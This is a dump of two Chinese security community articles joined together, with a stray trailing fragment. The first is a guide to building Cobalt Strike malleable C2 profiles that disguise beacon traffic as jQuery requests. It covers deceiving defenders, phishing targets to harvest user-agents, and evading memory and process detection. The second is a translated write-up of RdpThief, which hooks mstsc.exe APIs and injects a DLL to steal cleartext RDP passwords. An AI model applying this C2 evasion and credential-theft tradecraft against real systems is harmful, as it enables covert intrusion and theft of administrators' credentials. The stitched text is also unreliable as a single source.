本文假设你了解malleable C2的基础知识，并将其作为设计和创建malleable
C2配置文件的参考。本文的参考配置文件来自GitHub，地址在[这里](https://github.com/threatexpress/malleable-c2
"这里")。这个配置文件文档结构非常整洁清晰，并且包含了很多提示和指导，有助于帮你创建新的C2配置文件。
如果你是刚开始接触malleable C2，我们建议您先读一下Jeff mmock的这篇文章，链接如下：
<https://bluescreenofjeff.com/2017-01-24-how-to-write-malleable-c2-profiles-for-cobalt-strike/>
当然，你也可以阅读其他入门文章。
**Tips**
* 不要使用默认值，使用配置文件。
* 使用前修改示例配置文件。公共malleable C2配置文件可能会经过安全产品签名。
* 记住，你仍然会生成“beaconing”网络流量，从而创建一个可检测的模式，该模式与选择的配置文件无关。
* 测试，测试，再测试。
以下是设置参数值时要考虑的几点提示。做到以下几点可减少出错：
引用参数时使用双引号，不要使用单引号，例如：
set useragent "SOME AGENT"; # 正确
set useragent 'SOME AGENT'; # 错误
允许使用分号，例如：
prepend "This is an example;";
对双引号进行转义，例如：
append "here is \"some\" stuff";
转义反斜线，例如：
append "more \ stuff";
特殊字符不需要转义，例如：
prepend "!@#$%^&*()";
**配置文件介绍**
本文所使用的示例配置文件来自GitHub，链接如下：
<https://github.com/threatexpress/malleable-c2>
这个配置文件旨在模拟jQuery请求。jQuery是JavaScript的一个框架，被很多网站采用并且嵌入到目标网络中。
**第一步--选择主题**
决定选择模拟的配置文件时要考虑目标环境。C2流量应该与正常流量混合。C2配置文件的网络流量应该能够绕过网络传感器，但是你需要欺骗defender，让它认为流量是合法的。让网络分析师和安全团队相信流量合法是绕过安全防御的一种妙计，这样安全分析师就会忽略报警并将流量标记为安全。我们选择使用jQuery请求来混淆。这是一种通用方法，适用于广泛的目标范围。
**第二步--创建配置文件**
从头开始自己编写还是使用模板？我们建议使用已有的配置文件，在此基础上修改创建自己的模板。这几年我们一直使用jQuery配置文件作为基本配置文件，并对其进行修改和调整。
参考配置文件结构一目了然，逻辑清晰，不过，我们还是来对每部分进行一些讲解：
**配置文件名称**
选择一个配置文件名，你将会在你的报告中看到这个文件名。这不会影响Beacon的流量或者其在目标上的占用空间。
**sleep时间**
这些设置控制着beacon检入的默认时间(以毫秒为单位)。使用此配置文件生成的新的HTTP/S
beacon将会使用sleep时间作为其回调间隔进行检入，加上由jitter(抖动率)指定的随机时间量。选择适合你操作需求的默认时间以及任何OPSEC注意事项。这个例子用的是60秒。这个时间对于很多实际环境来说可能有些偏大，但是如果这个时间太有规律的话，很多防御产品就能很快检测到beaconing的行为。
**用户代理**
在实战中使用一个合适的user-agent值。如果可能的话，从目标机构中捕获一个真实的user-agent值并且插入到真实的流量中。例如，可以向目标机构成员发送一封带有web漏洞的电子邮件并监视后续GET请求中发送的user-agent值。如果你使用的是明文的HTTP流量或者是目标环境中存在SSL拦截，那么与环境不匹配的User-Agent值就会被防御者发现。
**SSL证书**
此设置控制用于HTTPS通信的SSL证书。如果可能的话，请为你正在使用的域使用真实的，正确发布的SSL证书。LetsEncrypt可以发布所有主要操作系统和浏览器都信任的免费SSL证书，并且会让防御者更难以检查Beacon流量。
SSL证书创建步骤的详情请参考如下链接：
<https://www.cobaltstrike.com/help-malleable-c2>
注意：建议在重定向主机上设置面向HTTPS证书的目标。这限制了团队服务器上所需的重新配置，以防在操作过程中某个域出现崩溃。
警告：一些CDN供应商要求您的源主机维护有效的SSL证书，并且你的团队服务器需要安装可信的SSL证书才能使Domain
Fronting运行。详情请参考Cobalt Strike官方文档
<https://www.cobaltstrike.com/help-malleable-c2#validssl>
或者这篇关于使用Cobalt Strike配置SSL的用法说明文章：
<https://bluescreenofjeff.com/2017-01-24-how-to-write-malleable-c2-profiles-for-cobalt-strike/>
**SpawnTo过程**
spawnto设置控制beacon生成的进程以便后渗透利用工作，以及何时使用spawn命令。该命令也可以使用命令行参数。
set %windir%\\sysnative\\svchost.exe -k localservice -p -s fdPHost
如果防御者查看正在运行进程的命令行，额外的参数可以帮助Beacon进一步混淆。但是很难找到与spawnto一起使用的最合适的选项。选择前要进行实验和测试。
**通用指南：**
* 使用受保护的二进制文件，你怎么知道他们是否受到保护？
* 不要选择使用UAC执行的二进制文件
* 为x64 payload选择64位二进制，为x86 payload选择32位有效负载
* 选择一个看似不奇怪的二进制文件来建立网络连接
**SMB 信标**
SMB 信标使用命名管道通过父信标进行通信。这允许在同一主机或网络上的信标之间进行点对点通信。可以配置SMB
信标的管道名称。不要使用默认设置，因为一些防御性产品会查找这些默认设置。选择能够混合到目标环境融的内容。
关于SMB信标的更多能容，请访问：
<https://www.cobaltstrike.com/help-smb-beacon>
**DNS信标**
DNS信标使用DNS进行全部或部分通信。根据目标环境的防御技术，DNS流量很容易就能被检测到，但通常是防御者的盲点。DNS最适合用作低速和慢速备份通道。更改默认设置以更好地适应你遇到的环境。
有关DNS信标的更多信息，请访问如下链接：
<https://www.cobaltstrike.com/help-dns-beacon>
**分段过程(staging process)**
可以自定义信标分段过程。分段过程是用于完全加载信标的代码存根。
了解有关Beacon分段过程的更多信息，请阅读这篇文章：<https://blog.cobaltstrike.com/2013/06/28/staged-payloads-what-pen-testers-should-know/>
幸运的是，可以修改Beacon stager的HTTP特性。更改这些设置以模仿单个合法的HTTP请求/响应。
在此示例中，请求将发送到/jquery-3.3.1.slim.min.js或/jquery-3.3.2.slim.min.js（取决于目标进程体系结构），以开始分段过程。构建HTTP服务器参数以模仿jQuery请求。Beacon命令和payload被混合到jQuery
javascript文本块中。从CDN请求jQuery时，客户端发出一个合理的请求。很多网站发出请求的实现方式如下：
<script src =“jquery-3.3.1.min.js”> </ script>
可以将URI修改为类似其他CDN的形式。例如，你可以修改http-stager，使其看起来好像是从Microsoft jQuery CDN中提取的。
<script src =“https://ajax.aspnetcdn.com/ajax/jQuery/jquery-3.3.1.min.js”> </script>
在某些情况下，使用stageless payload可能更好，因为分段过程可能会触发防御产品的报警。
**内存指示器**
一些最新的Malleable C2功能可以修改许多Beacon内存指示器。
有关控制Beacon内存指示器的详细信息，请参阅下面链接：
<https://blog.cobaltstrike.com/2018/02/08/in-memory-evasion>
<https://www.youtube.com/playlist?list=PL9HO6M_MU2nc5Q31qd2CwpZ8J4KFMhgnK>
此示例使用peclone工具从explorer.exe中提取内存元数据，另存为Beaconpayload的一部分，并且采用了Raphael发布的一篇博客“In-Memory Evasion”中的一些建议。
**HTTP GET**
与http-stager部分一样，可以修改HTTP GET请求/响应。此部分用于检查团队服务器的任务。
更多信息请参考
<https://www.cobaltstrike.com/help-http-beacon>
此配置文件使用http-stager中的类似格式。区别在于使用了__cfduid
=这个cookie。此值包含有关Beacon的信息，并且团队服务器利用它来发出任务。团队服务器对隐藏在jQuery
javascript文本中的任务进行响应。修改此部分以匹配你要使用的HTTP流量。如果你选择使用仅限GET的配置文件（见下文），这也是Beacon将信息传回团队服务器的方式。
注意：这个set
uri选项可以接受多个URI。这可用于为你的请求添加多样性。但是，Beacons不会以你所想的轮询方式执行请求，而是在staging期间将列表中的单个URI分配给每个Beacon。
**HTTP POST**
与http-stager和http-get部分一样，可以修改HTTP-POST请求/响应。HTTP-POST部分用作Beacon对服务器发出的命令的响应，实际上可以作为HTTP GET或HTTP POST请求执行。此示例使用HTTP
POST，如代码所示“set verb”为“POST”; HTTP流量与HTTP-GET部分一样，使用相同的样式，并模仿jQuery请求。你可以通过注释掉POST部分并取消注释HTTP-POST的GET部分，将模式从HTTP-POST更改为HTTP-GET。
注意： GET-only的配置文件有一些问题，当你尝试提取大量数据时（即下载文件或截取屏幕截图）时可能会让你感到头疼。这是因为数据是通过URI，URI参数或headers来传递的。关于这些问题，请参考Raphael的博客，里面有详细介绍：
<https://blog.cobaltstrike.com/2018/03/09/beware-of-slow-downloads>
**第三步-验证和测试**
在目标上使用Malleable
C2配置文件之前，始终对其进行验证和测试是非常重要的。格式错误的配置文件很容易导致Beacons无法检入或者无法从任务中发送输出。在实际情况下使用它们之前，请务必测试新的C2配置文件。
C2lint
C2lint是Cobalt
Strike中提供的工具，用于测试配置文件中的错误。在实际环境中使用这个工具来更正错误。（<https://www.cobaltstrike.com/help-malleable-c2）>
示例：
./c2lint c2lint jquery-c2.3.11.profile
Manual Testing(手工测试)
除了使用c2lint进行测试外，还要在测试系统上手动测试Beacon的所有功能。
手动测试和验证的快速步骤
* 启动wireshark
* 使用测试配置文件启动teamserver
* 创建HTTP监听器（名为http）
* 创建SMB监听器（名为smb）
* 创建一个Scripted Web Delivery攻击来部署HTTP信标
* Attacks - > Web Drive-by - >Scripted Web Delivery
* 在Windows测试系统上以管理员身份运行PowerShell
* 与elevated beacon互动
* 生成新的Beacons，与每个Beacon交互，并执行spawn命令：
spawn x64 http
spawn x86 http
spawn x64 smb
spawn x86 smb
* 查看数据包捕获数据以确保http流量符合你的预期
* 查看staging过程
* 查看http-get进程
* 查看http-post过程（即使你使用GET请求）
* 执行其他Beacon命令以确保它正常工作（至少执行下列几个命令）：
keylogger
screenshot
download
upload
参考文献：
Cobalt Strike Malleable C2帮助文档
<https://www.cobaltstrike.com/help-malleable-c2>
示例配置文件
<https://github.com/rsmudge/Malleable-C2-Profiles>
其他配置文件参考：
<https://bluescreenofjeff.com/2017-01-24-how-to-write-malleable-c2-profiles-for-cobalt-strike/>
随机配置文件生成器
<https://bluescreenofjeff.com/2017-08-30-randomized-malleable-c2-profiles-made-easy/>
内存逃逸
<https://www.youtube.com/playlist?list=PL9HO6M_MU2nc5Q31qd2CwpZ8J4KFMhgnK>
Cobalt Strike 3.6 – 提权之路
<https://blog.cobaltstrike.com/2016/12/08/cobalt-strike-3-6-a-path-for-privilege-escalation/>
malleable命令与控制
<https://blog.cobaltstrike.com/2014/07/16/malleable-command-and-control/> | 社区文章 |
# 如何通过RDP客户端窃取明文密码
|
##### 译文声明
本文是翻译文章，文章原作者 mdsec，文章来源：mdsec.co.uk
原文地址：<https://www.mdsec.co.uk/2019/11/rdpthief-extracting-clear-text-credentials-from-remote-desktop-clients>
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 前言
远程桌面是管理Windows服务器最常用的一种工具，管理员和黑客都喜欢使用RDP。通常情况下，用来登录RDP会话的凭据权限都比较高，因此自然会成为渗透过程中的绝佳目标。现在许多人主要通过LSASS来窃取凭据，但`lsass.exe`通常受EDR及反病毒软件的重点保护，因此我们需要研究可以替代的、比较新颖的方法。除此之外，针对LSASS的修改操作通常需要较高的访问权限。在本文中，我介绍了如何开发针对性工具，通过API
hook方法从微软RDP客户端中提取明文凭据。通过这种方法，如果攻击者掌握目标用户的权限（比如通过钓鱼攻击），并且用户打开了RDP会话，那么就可以提取明文密码，无需提升权限。
## 0x01 API Hook
简而言之，API
hook是拦截程序中的函数调用、将其重定向到另一个函数的一个过程。该过程需要重写目标函数在内存中的代码，以便重定向到另一个函数，后者将再次调用原始函数。目前关于API
hook已经有多种实现方式，这些技术都比较复杂，可以单独拎出来介绍。
在本文中，我们将使用微软的Detours开源库，该库支持32位及64位进程。其他框架（如Frida）也能提供类似功能，但Detours非常轻量级，因此在使用时具有一定优势。为了演示该库的强大功能，我们接下来使用这个库来hook
`MessageBox`函数。
在hook函数之前，我们需要找到两个信息：包含原始函数地址的目标指针以及hook函数。为了保证hook顺利，目标及hook函数都应当遵循相同数量的参数、参数类型以及调用约定。
如下所示，我们可以hook `MessageBox`，修改传递给原始函数的参数。
#include "pch.h"
#include <Windows.h>
#include <iostream>
#include <detours.h>
static int(WINAPI * TrueMessageBox)(HWND hWnd, LPCTSTR lpText, LPCTSTR lpCaption, UINT uType) = MessageBox;
int WINAPI _MessageBox(HWND hWnd, LPCTSTR lpText, LPCTSTR lpCaption, UINT uType) {
return TrueMessageBox(NULL, L"Hooked", L"Hooked", 0);
}
int main()
{
// Hook MessageBox
DetourRestoreAfterWith();
DetourTransactionBegin();
DetourUpdateThread(GetCurrentThread());
DetourAttach(&(PVOID&)TrueMessageBox, _MessageBox); // Two Arguments
DetourTransactionCommit();
MessageBox(NULL, L"We can't be hooked", L"Hello", 0); // Detach Hooked Function
DetourTransactionBegin();
DetourUpdateThread(GetCurrentThread());
DetourDetach(&(PVOID&)TrueMessageBox, _MessageBox);
DetourTransactionCommit();
}
运行该程序后，本来应弹框提示无法被hook，然而由于我们hook该函数并修改了参数，因此结果如下图所示：
## 0x02 寻找目标
在hook之前，我们需要定位感兴趣的目标函数，这些函数接受的参数中通常包含我们感兴趣的数据。在RDP场景中，我们需要获取服务端主机名/IP地址、用户名及密码。API
Monitor是一款非常强大的工具，可以帮我们attach进程、记录下所有的API调用、查看相关结果。
为了完成任务，我们在`mstsc.exe`上执行API监控操作，然后初始化一个RDP示例连接。
现在我们可以搜索所有API调用，寻找包含用户名的字符串。经过搜索后发现，有多个API调用中包含该字符串，但需要重点关注的是`CredIsMarshaledCredentialW`。
根据MSDN文档，我们发现该函数只接受1个参数，该参数为指向C Unicode字符串的long指针：
为了确保hook该函数能获取到所需的数据，我们使用Windbg
attach到`mstsc.exe`进程，在`CredIsMarshaledCredentialW`上设置断点。当用户尝试登录时，可以看到传递给该函数的第一个参数为Unicode字符串的地址：
采用相同的方法，我们搜索密码字符串，然后找到了`CryptProtectMemory` API以及指向密码字符串的一个指针。
根据API Monitor分析结果，`CryptProtectMemory`位于`Crypt32.dll`中，但这个结论并不准确。在最新版的Windows
10中，该函数是`dpapi.dll`的一个导出函数。为了确保该API上包含我们所需的数据，我们使用Windbg
attach到目标进程，在`CryptProtectMemory`函数上设置断点。
检查内存数据，我们可以猜测传入的参数为指向某个结构的指针。由于我们寻找的信息位于该结构起始位置，因此我们无需完整解析这个结构。与前面的分析过程相反，这里能找到对该函数的多处调用，但很多都没有包含我们寻找的信息。根据观察，我们可知前4个字节包含密码字符串的大小。因此为了解决该问题，我们可以从内存中读取大小值，判断该值是否大于`0x2`，如果满足条件，则意味着该结构中包含密码信息。
采用同样的思路，我们可以定位到`SspiPrepareForCredRead`，该API的第2个参数即为我们需要提取的IP地址。
## 0x03 RdpThief
现在我们已经知道该hook哪些函数，才能提取所需信息。我们可以根据这些知识来开发RdpThief工具，方便窃取凭据信息。
RdpThief是一个独立的DLL，可以注入到`mstsc.exe`进程中，执行API
hook操作，提取明文凭据并保存到文件中。该工具包含一个守护脚本，负责管理状态、监控新进程并将shellcode注入`mstsc.exe`中。我们使用[sRDI](https://github.com/monoxgas/sRDI)工具将DLL转换成shellcode。启用该DLL后，RdpThief会每隔5秒钟获取进程列表，搜索`mstsc.exe`然后执行注入操作。
当在Cobalt Strike中加载攻击脚本后，我们就可以使用如下3条新命令：
* `rdpthief_enable`：启动心跳检测，检查新的`mstsc.exe`进程，执行注入操作。
* `rdpthief_disable`：禁用针对`mstsc.exe`的心跳检测，但没有卸载已加载的DLL。
* `rdpthief_dump`：打印已提取的明文凭据。
简单的攻击过程如下图所示：
大家可以访问[此处](https://github.com/0x09AL/RdpThief)下载RdpThief源代码。 | 社区文章 |
Subsets and Splits